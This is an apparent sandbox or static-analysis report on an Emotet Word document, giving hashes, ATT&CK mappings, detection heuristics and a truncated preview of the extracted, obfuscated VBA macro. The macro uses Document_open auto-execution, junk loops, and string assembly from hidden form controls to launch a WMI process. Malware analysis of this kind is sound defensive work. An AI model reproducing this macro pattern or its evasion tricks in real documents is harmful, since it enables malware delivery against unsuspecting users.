Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d9ac301bdc39d23f…

MALICIOUS

Office (OLE)

177.9 KB Created: 2019-12-11 13:04:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 73ab055aa83d6222818b0e93ab7f823a SHA-1: 532c0d32d70e01dceaf3ec65ed81fa32c6348c7c SHA-256: d9ac301bdc39d23f8e8c9c7ab6bc9ddd89f7a9292bc9c2395b50a3df522fe483
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains VBA macros that are automatically executed upon opening the document. These macros use obfuscated API calls, specifically reassembling the string 'winmgmts' to interact with WMI and create a process. This behavior is characteristic of Emotet, which often uses macro-enabled documents to download and execute further stages of its payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7445827-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7445827-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7773 bytes
SHA-256: c8e34f28091b9987709c395ffb8fc27e1ccdf687a8f35af82cb15da953751587
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cdpfksfq"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Ogxselex, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Cemgiwaokv = Vggbdelxge To 0
         Ujflwhbuvuzi = (13 - Atn(51) - (44 + Round(41) * Yzdiwqbtdwjez / CInt(1)))
    Select Case Sdxqrmyqp
      Case Uvnbgybh
         Uxixtbgjbr = CLng(Ndrbrjkzioq)
         Ffcpldsgvyfo = Oct(Kshoavgikkfhr)
      Case Dfgpcnvet
         Pirelmylzhb = Ypxvrkelvzs
         Zqjpnnymfyqfy = Int(29)
   End Select
Next
   For Fhvsjotgb = Imvajudhwihl To 0
         Mwnpgjuga = (13 - Atn(51) - (44 + Round(41) * Rmdrstusqkeuw / CInt(1)))
    Select Case Eriwywskxrg
      Case Habmadriaqdo
         Nxhcrbsecxdx = CLng(Cgamcylpisttw)
         Bfildfmp = Oct(Pdcxejdcsft)
      Case Mohxopixfmaa
         Mxtqrlwnvise = Qeakmnvwvix
         Rjqbwmorf = Int(29)
   End Select
Next
   For Nkfxgsowjebq = Vivmlbcawmqz To 0
         Ngszlwwgfvr = (13 - Atn(51) - (44 + Round(41) * Mxgbvzpjpw / CInt(1)))
    Select Case Asmotggnxi
      Case Cejxpdzvio
         Pkuaphyj = CLng(Ldjrlokqoeu)
         Qqstmxoclcjyj = Oct(Yqjsdntfo)
      Case Kkrzmivlekxn
         Tmzaztcces = Bqlwkdwumekl
         Dxhvacwg = Int(29)
   End Select
Next
Kmmobpjryuv
End Sub

Attribute VB_Name = "Zatvdjeqllad"
Attribute VB_Base = "0{E39E7F5C-5CF6-4A18-8A9D-B1BD4FD274DD}{2E884786-8293-4FD8-907B-B4CF4AD46608}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Advelzywt"
Function Dtmwcoukcsjj()
   For Qselcrgvokks = Nxkxdvtcbe To 0
         Bjvzcmsldf = (13 - Atn(51) - (44 + Round(41) * Oxdqhxvbvl / CInt(1)))
    Select Case Kgvqboqzg
      Case Xzoixadiivb
         Scueidpqj = CLng(Vqbkpobcwhf)
         Oxbsdsljxpyz = Oct(Rddzolznhy)
      Case Tuymynlbqkcw
         Dgxbdkvckyt = Ftbqczkyqkkq
         Svgbgmxhtpf = Int(29)
   End Select
Next
Wjzdntzdnkvzi = Cdpfksfq.Ogxselex
   For Lwldntzrv = Pddjrffuwb To 0
         Docdddjcvs = (13 - Atn(51) - (44 + Round(41) * Fizxakngcl / CInt(1)))
    Select Case Dtrmaupd
      Case Iplpwomcpx
         Eigiuloaiscz = CLng(Mxbaclhsaj)
         Ozuzvnokpi = Oct(Aepdeqmmombo)
      Case Vdkliwwjwpg
         Pkpudqjzxvenk = Wcxfyfskadajv
         Axwtwbysy = Int(29)
   End Select
Next
Kmvmlxpk = Wjzdntzdnkvzi + Zatvdjeqllad.Ibwzfvxonm + Zatvdjeqllad.Oafmampn + Zatvdjeqllad.Tnsmhfqszwq
   For Paxoheqdj = Uzwnaobqekb To 0
         Nrvvpcey = (13 - Atn(51) - (44 + Round(41) * Rxbadncy / CInt(1)))
    Select Case Gbkdhnpaxgt
      Case Tbqiunhi
         Yeqzoycbm = CLng(Wlgrocmdbj)
         Uhynfhlj = Oct(Wmzrnbcuehe)
      Case Qjrgkueqwqbws
         Xtbadiptsw = Bhezzakieo
         Pbyzvxuv = Int(29)
   End Select
Next
Biamlhtakhrw = Kmvmlxpk + Zatvdjeqllad.Guonqqczoupu + Zatvdjeqllad.Yinoowta.ControlTipText
   For Gklartzwfevht = Gxwvancw To 0
         Wlkcwcpkgpobb = (13 - Atn(51) - (44 + Round(41) * Sjojidxffvly / CInt(1)))
    Select Case Keoteuipuicgx
      Case Nevcaieomj
         Ffgkdknvlaixz = CLng(Ofhcgkwr)
         Veogqckmvcj = Oct(Yvkrxnwydnepi)
      Case Moioquigy
         Yxkdjtahjhvs = Trrqkrhx
         Htvxcpom = Int(29)
   End Select
Next
Dtmwcoukcsjj = Mcscyfdrofiz + Biamlhtakhrw + Mcscyfdrofiz
   For Oakfmbeuukjib = Nynqjzyd To 0
         Rabzuklgpqcuh = (13 - Atn(51) - (44 + Round(41) * Rimwwdtlxm / CInt(1)))
    Select Case Exzqxehv
      Case Uzzybmzy
         Ogsrlgiuxpd = CLng(Khjpzepadko)
         Wybhlytolx = Oct(Eqwmxkzhk)
      Case Swztdqkvdez
         Sqeetazjdg = Tngzofchhjk
         Pyaccefgl = Int(29)
   End Select
Next
End Function
Function Kmmobpjryuv()
   For Gbbowhfyjyezf = Yhgubcnr To 0
         
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.